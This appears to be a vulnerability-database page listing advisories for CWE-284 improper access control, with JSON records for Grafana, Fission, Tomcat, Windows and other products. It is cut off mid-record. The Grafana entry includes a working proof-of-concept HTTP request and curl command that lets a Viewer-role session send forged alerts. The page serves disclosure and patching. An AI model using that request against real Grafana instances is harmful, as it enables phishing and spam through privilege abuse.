CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
8495 vulnerabilities reference this CWE, most recent first.
GHSA-CVHQ-CVVF-JW9R
Vulnerability from github – Published: 2025-04-08 18:34 – Updated: 2025-04-08 18:34Improper access control in Windows Defender Application Control (WDAC) allows an unauthorized attacker to bypass a security feature locally.
{
"affected": [],
"aliases": [
"CVE-2025-26678"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-08T18:15:52Z",
"severity": "HIGH"
},
"details": "Improper access control in Windows Defender Application Control (WDAC) allows an unauthorized attacker to bypass a security feature locally.",
"id": "GHSA-cvhq-cvvf-jw9r",
"modified": "2025-04-08T18:34:47Z",
"published": "2025-04-08T18:34:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26678"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-26678"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CVM3-PP2J-CHR3
Vulnerability from github – Published: 2023-06-12 20:09 – Updated: 2023-06-12 20:09Summary
Grafana allows an attacker in the Viewer role, send alerts by API Alert - Test. The option is not available from the user panel UI for in the Viewer role.
Reason for the error: The API does not check access to this function and allows it by users with the least rights, for example, the Viewer that does not see this option in the user panel.
This enables malicious users to abuse the functionality by sending multiple alert messages (e-mail, slack, etc…), spamming users, prepare Phishing attack or blocked SMTP server / IP and automatically moved all message to spam folder, add to black list IP.
Details
The logged-in user, in the Viewer role, in the user panel, does not have access to the test option of sending an e-mail alert.
View of the panel for the user in the Viewer role:
Admin role - View panel for admin role:
Admin role - Next step – editing:
Admin role - Additional options:
PoC
HTTP Request by user in role Viewer
POST /api/alertmanager/grafana/config/api/v1/receivers/test HTTP/1.1
Host: xxx
Cookie: grafana_session=xxx
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xxx/alerting/notifications/receivers/grafana-default-email/edit?alertmanager=grafana
accept: application/json, text/plain, */*
content-type: application/json
…
{"receivers":[{"name":"test","grafana_managed_receiver_configs":[{"settings":{"addresses":"<test@example.com>",
"singleEmail":true},"secureSettings":{},"type":"email","name":"test","disableResolveMessage":false}]}],
"alert":{"annotations":{"runbook_url":"http://example.com ","description":"tekst","testowy":"test http://example.com",
"more":"http://example.com "},"labels":{}}}
HTTP Response:
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: application/json
Expires: -1
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Date: Wed, 05 Apr 2023 10:43:00 GMT
Content-Length: 471
{"alert":{"annotations":{"__value_string__":"[ metric='foo' labels={instance=bar} value=10 ]","description":"tekst",
"more":"http://example.com","runbook_url":"http://example.com","summary":"Notification test",
"testowy":"testowy http://example.com"},"labels":{"alertname":"TestAlert","instance":"Grafana"}},
"receivers":[{"name":"test","grafana_managed_receiver_configs":[{"name":"test","uid":"ojUhNFL4k","status":"ok"}]}],
"notified_at":"2023-04-05T12:43:00.1430203+02:00"}
Result:
The attacker can send as a template alert or plain/text.
Impact
As I showed above, an enabled user in the lowest role can execute an endpoint API that allows him to send an e-mail as an alert and impersonate its content. If modified accordingly, the recipient may fall victim to a Phishing attack or a targeted attack to block the SMTP server.
From a practical point of view, this means that for each "GrafanaReceiver" e.g.: Slack, E-mail, etc.. You can send any alert message from user with the least privileged.
CURL example – using a user session in the Viewer role:
curl -i -s -k -X $'POST' \
-H $'Host: localhost:3002' -H $'Content-Length: 386' -H $'sec-ch-ua: \"Not:A-Brand\";v=\"99\", \"Chromium\";v=\"112\"' -H $'accept: application/json, text/plain, */*' -H $'content-type: application/json' -H $'x-grafana-org-id: 1' -H $'sec-ch-ua-mobile: ?0' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/527.36 (KHTML, like Gecko) Chrome/112.0.2615.50 Safari/11.36' -H $'sec-ch-ua-platform: \"macOS\"' -H $'Origin: http://localhost:3002' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Referer: http://localhost:3002/' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
-b $'grafana_session=xxx' \
--data-binary $'{\"receivers\":[{\"name\":\"test\",\"grafana_managed_receiver_configs\":[{\"settings\":{\"addresses\":\"<test@example.com>\",\"singleEmail\":true\x0d\x0a},\"secureSettings\":{},\"type\":\"email\",\"name\":\"test\",\"disableResolveMessage\":false}]}],\"alert\":{\"annotations\":{\"runbook_url\":\"http://example.com\",\"description\":\"tekst\",\"testowy\":\"testowy http://example.com\",\x0d\x0a\"more\":\"http://example.com\"\x0d\x0a},\"labels\":{}}}\x0d\x0a' \
$'http://localhost:3002/api/alertmanager/grafana/config/api/v1/receivers/test'
Mitigation
- In the SMTP server configuration settings, limit the ability to send multiple e-mails to the same e-mail address per unit of time / threshold.
- Check the API for the possibility of accessing this endpoint for other roles than admin
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/grafana/grafana"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.5.26"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/grafana/grafana"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.2.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/grafana/grafana"
},
"ranges": [
{
"events": [
{
"introduced": "9.3.0"
},
{
"fixed": "9.3.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/grafana/grafana"
},
"ranges": [
{
"events": [
{
"introduced": "9.4.0"
},
{
"fixed": "9.4.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/grafana/grafana"
},
"ranges": [
{
"events": [
{
"introduced": "9.5.0"
},
{
"fixed": "9.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-2183"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-12T20:09:27Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nGrafana allows an attacker in the Viewer role, send alerts by API Alert - Test. The option is not available from the user panel UI for in the Viewer role. \n\n**Reason for the error**: The API does not check access to this function and allows it by users with the least rights, for example, the Viewer that does not see this option in the user panel. \n\nThis enables malicious users to abuse the functionality by sending multiple alert messages (e-mail, slack, etc\u2026), spamming users, prepare Phishing attack or blocked SMTP server / IP and automatically moved all message to spam folder, add to black list IP.\n\n\n### Details\nThe logged-in user, in the Viewer role, in the user panel, does not have access to the test option of sending an e-mail alert. \n\nView of the panel for the user in the Viewer role:\n\n\nAdmin role - View panel for admin role:\n\n\nAdmin role - Next step \u2013 editing:\n\n\nAdmin role - Additional options:\n\n\n\n\n### PoC\n\n**HTTP Request by user in role Viewer**\n```\nPOST /api/alertmanager/grafana/config/api/v1/receivers/test HTTP/1.1\nHost: xxx\nCookie: grafana_session=xxx\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://xxx/alerting/notifications/receivers/grafana-default-email/edit?alertmanager=grafana\naccept: application/json, text/plain, */*\ncontent-type: application/json\n\u2026\n\n{\"receivers\":[{\"name\":\"test\",\"grafana_managed_receiver_configs\":[{\"settings\":{\"addresses\":\"\u003ctest@example.com\u003e\",\n\"singleEmail\":true},\"secureSettings\":{},\"type\":\"email\",\"name\":\"test\",\"disableResolveMessage\":false}]}],\n\"alert\":{\"annotations\":{\"runbook_url\":\"http://example.com \",\"description\":\"tekst\",\"testowy\":\"test http://example.com\",\n\"more\":\"http://example.com \"},\"labels\":{}}}\n\n```\n\n**HTTP Response:**\n```\nHTTP/1.1 200 OK\nCache-Control: no-cache\nContent-Type: application/json\nExpires: -1\nPragma: no-cache\nX-Content-Type-Options: nosniff\nX-Frame-Options: deny\nX-Xss-Protection: 1; mode=block\nDate: Wed, 05 Apr 2023 10:43:00 GMT\nContent-Length: 471\n\n{\"alert\":{\"annotations\":{\"__value_string__\":\"[ metric=\u0027foo\u0027 labels={instance=bar} value=10 ]\",\"description\":\"tekst\",\n\"more\":\"http://example.com\",\"runbook_url\":\"http://example.com\",\"summary\":\"Notification test\",\n\"testowy\":\"testowy http://example.com\"},\"labels\":{\"alertname\":\"TestAlert\",\"instance\":\"Grafana\"}},\n\"receivers\":[{\"name\":\"test\",\"grafana_managed_receiver_configs\":[{\"name\":\"test\",\"uid\":\"ojUhNFL4k\",\"status\":\"ok\"}]}],\n\"notified_at\":\"2023-04-05T12:43:00.1430203+02:00\"}\n\n```\n\n## Result:\nThe attacker can send as a template alert or plain/text.\n\n\n\n\n### Impact\nAs I showed above, an enabled user in the lowest role can execute an endpoint API that allows him to send an e-mail as an alert and impersonate its content. If modified accordingly, the recipient may fall victim to a Phishing attack or a targeted attack to block the SMTP server. \n\nFrom a practical point of view, this means that for each \"GrafanaReceiver\" e.g.: Slack, E-mail, etc.. You can send any alert message from user with the least privileged. \n\nCURL example \u2013 using a user session in the Viewer role:\n\n```\ncurl -i -s -k -X $\u0027POST\u0027 \\\n -H $\u0027Host: localhost:3002\u0027 -H $\u0027Content-Length: 386\u0027 -H $\u0027sec-ch-ua: \\\"Not:A-Brand\\\";v=\\\"99\\\", \\\"Chromium\\\";v=\\\"112\\\"\u0027 -H $\u0027accept: application/json, text/plain, */*\u0027 -H $\u0027content-type: application/json\u0027 -H $\u0027x-grafana-org-id: 1\u0027 -H $\u0027sec-ch-ua-mobile: ?0\u0027 -H $\u0027User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/527.36 (KHTML, like Gecko) Chrome/112.0.2615.50 Safari/11.36\u0027 -H $\u0027sec-ch-ua-platform: \\\"macOS\\\"\u0027 -H $\u0027Origin: http://localhost:3002\u0027 -H $\u0027Sec-Fetch-Site: same-origin\u0027 -H $\u0027Sec-Fetch-Mode: cors\u0027 -H $\u0027Sec-Fetch-Dest: empty\u0027 -H $\u0027Referer: http://localhost:3002/\u0027 -H $\u0027Accept-Encoding: gzip, deflate\u0027 -H $\u0027Accept-Language: en-GB,en-US;q=0.9,en;q=0.8\u0027 -H $\u0027Connection: close\u0027 \\\n -b $\u0027grafana_session=xxx\u0027 \\\n --data-binary $\u0027{\\\"receivers\\\":[{\\\"name\\\":\\\"test\\\",\\\"grafana_managed_receiver_configs\\\":[{\\\"settings\\\":{\\\"addresses\\\":\\\"\u003ctest@example.com\u003e\\\",\\\"singleEmail\\\":true\\x0d\\x0a},\\\"secureSettings\\\":{},\\\"type\\\":\\\"email\\\",\\\"name\\\":\\\"test\\\",\\\"disableResolveMessage\\\":false}]}],\\\"alert\\\":{\\\"annotations\\\":{\\\"runbook_url\\\":\\\"http://example.com\\\",\\\"description\\\":\\\"tekst\\\",\\\"testowy\\\":\\\"testowy http://example.com\\\",\\x0d\\x0a\\\"more\\\":\\\"http://example.com\\\"\\x0d\\x0a},\\\"labels\\\":{}}}\\x0d\\x0a\u0027 \\\n $\u0027http://localhost:3002/api/alertmanager/grafana/config/api/v1/receivers/test\u0027\n```\n\n### Mitigation\n\n1. In the SMTP server configuration settings, limit the ability to send multiple e-mails to the same e-mail address per unit of time / threshold. \n2. Check the API for the possibility of accessing this endpoint for other roles than admin\n",
"id": "GHSA-cvm3-pp2j-chr3",
"modified": "2023-06-12T20:09:27Z",
"published": "2023-06-12T20:09:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/grafana/bugbounty/security/advisories/GHSA-cvm3-pp2j-chr3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2183"
},
{
"type": "PACKAGE",
"url": "https://github.com/grafana/bugbounty"
},
{
"type": "WEB",
"url": "https://grafana.com/security/security-advisories/cve-2023-2183"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Grafana has Broken Access Control in Alert manager: Viewer can send test alerts"
}
GHSA-CVQG-VPHP-RF28
Vulnerability from github – Published: 2026-07-05 12:30 – Updated: 2026-07-05 12:30A vulnerability was found in Ruijie RG-UAC up to 1.0-R1.8.2.p5. The impacted element is an unknown function of the file user_auth_commit.php. Performing a manipulation of the argument upload_image results in unrestricted upload. The attack is possible to be carried out remotely. The exploit has been made public and could be used.
{
"affected": [],
"aliases": [
"CVE-2026-14736"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-05T10:16:30Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in Ruijie RG-UAC up to 1.0-R1.8.2.p5. The impacted element is an unknown function of the file user_auth_commit.php. Performing a manipulation of the argument upload_image results in unrestricted upload. The attack is possible to be carried out remotely. The exploit has been made public and could be used.",
"id": "GHSA-cvqg-vphp-rf28",
"modified": "2026-07-05T12:30:24Z",
"published": "2026-07-05T12:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14736"
},
{
"type": "WEB",
"url": "https://ucn9h68n9289.feishu.cn/wiki/OiAKwH3hRi3oVpkQyeycjjPrnL8?fromScene=spaceOverview"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-14736"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/848624"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/376318"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/376318/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-CVVJ-HJMF-8QFH
Vulnerability from github – Published: 2022-05-14 03:07 – Updated: 2025-04-20 03:35Facebook Proxygen before 2015-11-09 mismanages HTTPMessage.request state, which allows remote attackers to conduct hijacking attacks and bypass ACL checks.
{
"affected": [],
"aliases": [
"CVE-2015-7265"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-10T03:59:00Z",
"severity": "HIGH"
},
"details": "Facebook Proxygen before 2015-11-09 mismanages HTTPMessage.request state, which allows remote attackers to conduct hijacking attacks and bypass ACL checks.",
"id": "GHSA-cvvj-hjmf-8qfh",
"modified": "2025-04-20T03:35:39Z",
"published": "2022-05-14T03:07:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-7265"
},
{
"type": "WEB",
"url": "https://groups.google.com/forum/#!topic/facebook-proxygen/K8wCXbW4ihs"
},
{
"type": "WEB",
"url": "https://groups.google.com/forum/#%21topic/facebook-proxygen/K8wCXbW4ihs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CVW5-R6P2-VXJ5
Vulnerability from github – Published: 2022-05-14 01:01 – Updated: 2025-04-12 12:51Windows Media Center in Microsoft Windows Vista SP2, Windows 7 SP1, Windows 8, and Windows 8.1 allows user-assisted remote attackers to execute arbitrary code via a crafted Media Center link (mcl) file, aka "Windows Media Center RCE Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2015-2509"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-09-09T00:59:00Z",
"severity": "HIGH"
},
"details": "Windows Media Center in Microsoft Windows Vista SP2, Windows 7 SP1, Windows 8, and Windows 8.1 allows user-assisted remote attackers to execute arbitrary code via a crafted Media Center link (mcl) file, aka \"Windows Media Center RCE Vulnerability.\"",
"id": "GHSA-cvw5-r6p2-vxj5",
"modified": "2025-04-12T12:51:41Z",
"published": "2022-05-14T01:01:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-2509"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-100"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/38151"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/38195"
},
{
"type": "WEB",
"url": "http://www.rapid7.com/db/modules/exploit/windows/fileformat/ms15_100_mcl_exe"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/76594"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1033499"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CVW6-GFVV-953Q
Vulnerability from github – Published: 2026-06-30 18:17 – Updated: 2026-06-30 18:17Summary
The Fission Function admission webhook (pkg/webhook/function.go) validated that spec.secrets[].namespace and spec.configmaps[].namespace equalled the function's own namespace but performed no equivalent check on
spec.environment.namespace.
Details
An attacker with permission to create Functions in their own namespace could set spec.environment.namespace to any other tenant's namespace. poolmgr and newdeploy would then look up and use the victim's Environment CRD when scheduling
function pods, so the attacker's function executed inside the victim's container image.
This is useful both for code and credential theft — the victim's runtime image may contain hardcoded secrets — and for confused-deputy attacks where the victim's runtime image is a privileged sidecar.
Impact
A tenant with functions.fission.io/create could run their own function code inside another tenant's container image, breaking the namespace trust boundary that the Function specification implies.
Fix
Fixed in #3389 and released in v1.24.0.
- Admission webhook (
pkg/webhook/function.go::Validate) rejectsFunction.spec.environment.namespace != metadata.namespace. An empty namespace remains accepted (the CLI defaults it to the function's namespace). - Controller belt-and-braces: the same check runs before the cross-namespace
Environments(...).Getin poolmgrgetFunctionEnvand newdeployfnCreate/RefreshFuncPods, covering webhook-bypass clusters (failurePolicy=Ignore) and stale Function objects from upgrade-before-restart windows.
Behavioural change
Functions that explicitly set spec.environment.namespace to a different namespace are now rejected at admission. Empty-string remains accepted.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.23.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/fission/fission"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49824"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-30T18:17:02Z",
"nvd_published_at": "2026-06-10T18:17:10Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe Fission Function admission webhook (`pkg/webhook/function.go`) validated that `spec.secrets[].namespace` and `spec.configmaps[].namespace` equalled the function\u0027s own namespace but performed no equivalent check on\n`spec.environment.namespace`.\n\n### Details\n\nAn attacker with permission to create Functions in their own namespace could set `spec.environment.namespace` to any other tenant\u0027s namespace. poolmgr and newdeploy would then look up and use the victim\u0027s Environment CRD when scheduling\nfunction pods, so the attacker\u0027s function executed inside the victim\u0027s container image.\n\nThis is useful both for code and credential theft \u2014 the victim\u0027s runtime image may contain hardcoded secrets \u2014 and for confused-deputy attacks where the victim\u0027s runtime image is a privileged sidecar.\n\n### Impact\n\nA tenant with `functions.fission.io/create` could run their own function code inside another tenant\u0027s container image, breaking the namespace trust boundary that the Function specification implies.\n\n### Fix\n\nFixed in [#3389](https://github.com/fission/fission/pull/3389) and released in [v1.24.0](https://github.com/fission/fission/releases/tag/v1.24.0).\n\n- **Admission webhook** (`pkg/webhook/function.go::Validate`) rejects `Function.spec.environment.namespace != metadata.namespace`. An empty namespace remains accepted (the CLI defaults it to the function\u0027s namespace).\n- **Controller belt-and-braces:** the same check runs before the cross-namespace `Environments(...).Get` in poolmgr `getFunctionEnv` and newdeploy `fnCreate` / `RefreshFuncPods`, covering webhook-bypass clusters (`failurePolicy=Ignore`)\nand stale Function objects from upgrade-before-restart windows.\n\n### Behavioural change\n\nFunctions that explicitly set `spec.environment.namespace` to a different namespace are now rejected at admission. Empty-string remains accepted.",
"id": "GHSA-cvw6-gfvv-953q",
"modified": "2026-06-30T18:17:02Z",
"published": "2026-06-30T18:17:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fission/fission/security/advisories/GHSA-cvw6-gfvv-953q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49824"
},
{
"type": "WEB",
"url": "https://github.com/fission/fission/pull/3389"
},
{
"type": "WEB",
"url": "https://github.com/fission/fission/commit/80e7ba55228e1ef426f51353e25d2682ec61de34"
},
{
"type": "PACKAGE",
"url": "https://github.com/fission/fission"
},
{
"type": "WEB",
"url": "https://github.com/fission/fission/releases/tag/v1.24.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Fission: Cross-namespace Environment reference via unvalidated EnvironmentRef in Function admission webhook"
}
GHSA-CVWG-67GG-J4GG
Vulnerability from github – Published: 2026-04-01 12:31 – Updated: 2026-04-09 21:31The ajax component was excluded from the default logged-in-user check in the administrative area. This behavior was potentially unexpected by 3rd party developers.
{
"affected": [],
"aliases": [
"CVE-2026-21629"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-01T10:16:15Z",
"severity": "MODERATE"
},
"details": "The ajax component was excluded from the default logged-in-user check in the administrative area. This behavior was potentially unexpected by 3rd party developers.",
"id": "GHSA-cvwg-67gg-j4gg",
"modified": "2026-04-09T21:31:25Z",
"published": "2026-04-01T12:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21629"
},
{
"type": "WEB",
"url": "https://developer.joomla.org/security-centre/1027-20260301-core-acl-hardening-in-com-ajax.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-CW2J-6PVW-7G9V
Vulnerability from github – Published: 2026-01-13 15:37 – Updated: 2026-06-30 03:35Sandbox escape in the Messaging System component. This vulnerability affects Firefox < 147.
{
"affected": [],
"aliases": [
"CVE-2026-0881"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-13T14:16:38Z",
"severity": "CRITICAL"
},
"details": "Sandbox escape in the Messaging System component. This vulnerability affects Firefox \u003c 147.",
"id": "GHSA-cw2j-6pvw-7g9v",
"modified": "2026-06-30T03:35:24Z",
"published": "2026-01-13T15:37:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0881"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-0881"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2005845"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2428970"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-0881.json"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-01"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CW4C-49H8-Q2XF
Vulnerability from github – Published: 2026-07-22 00:32 – Updated: 2026-07-22 00:32Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Install). The supported version that is affected is 6.2.1. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Agile Engineering Data Management executes to compromise Oracle Agile Engineering Data Management. While the vulnerability is in Oracle Agile Engineering Data Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Agile Engineering Data Management accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
{
"affected": [],
"aliases": [
"CVE-2026-61189"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:18:50Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Install). The supported version that is affected is 6.2.1. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Agile Engineering Data Management executes to compromise Oracle Agile Engineering Data Management. While the vulnerability is in Oracle Agile Engineering Data Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Agile Engineering Data Management accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).",
"id": "GHSA-cw4c-49h8-q2xf",
"modified": "2026-07-22T00:32:22Z",
"published": "2026-07-22T00:32:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61189"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CW54-59PW-4G8C
Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2025-10-22 17:32Remote code execution is possible with Apache Tomcat before 6.0.48, 7.x before 7.0.73, 8.x before 8.0.39, 8.5.x before 8.5.7, and 9.x before 9.0.0.M12 if JmxRemoteLifecycleListener is used and an attacker can reach JMX ports. The issue exists because this listener wasn't updated for consistency with the CVE-2016-3427 Oracle patch that affected credential types.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina-jmx-remote"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.0.48"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina-jmx-remote"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.0.73"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina-jmx-remote"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.39"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina-jmx-remote"
},
"ranges": [
{
"events": [
{
"introduced": "8.5.0"
},
{
"fixed": "8.5.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina-jmx-remote"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0.M1"
},
{
"fixed": "9.0.0.M12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.0.48"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.0.73"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.39"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "8.5.0"
},
{
"fixed": "8.5.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0.M1"
},
{
